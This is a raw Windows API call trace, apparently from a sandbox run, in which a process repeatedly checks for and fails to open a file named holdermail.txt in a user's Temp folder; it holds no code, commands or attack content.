	[0088.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.944] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.944] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.944] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.945] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.945] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.945] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.945] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.945] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.945] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.946] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.946] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.946] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.946] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.946] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.946] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.947] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.947] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.947] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.947] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.947] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.947] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.947] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.948] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.948] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.948] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.948] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.949] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.949] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.949] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.950] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.950] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.950] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.950] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.950] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.950] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.952] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.952] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.952] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.952] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.952] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.952] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.952] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.953] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.953] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.953] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.953] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.953] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.953] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.953] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.954] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.954] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.954] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.955] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.955] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.955] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.956] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.956] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.956] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.956] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.956] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.956] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.956] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.957] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.957] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.957] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.957] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.957] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.957] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.958] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.958] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.958] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.958] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
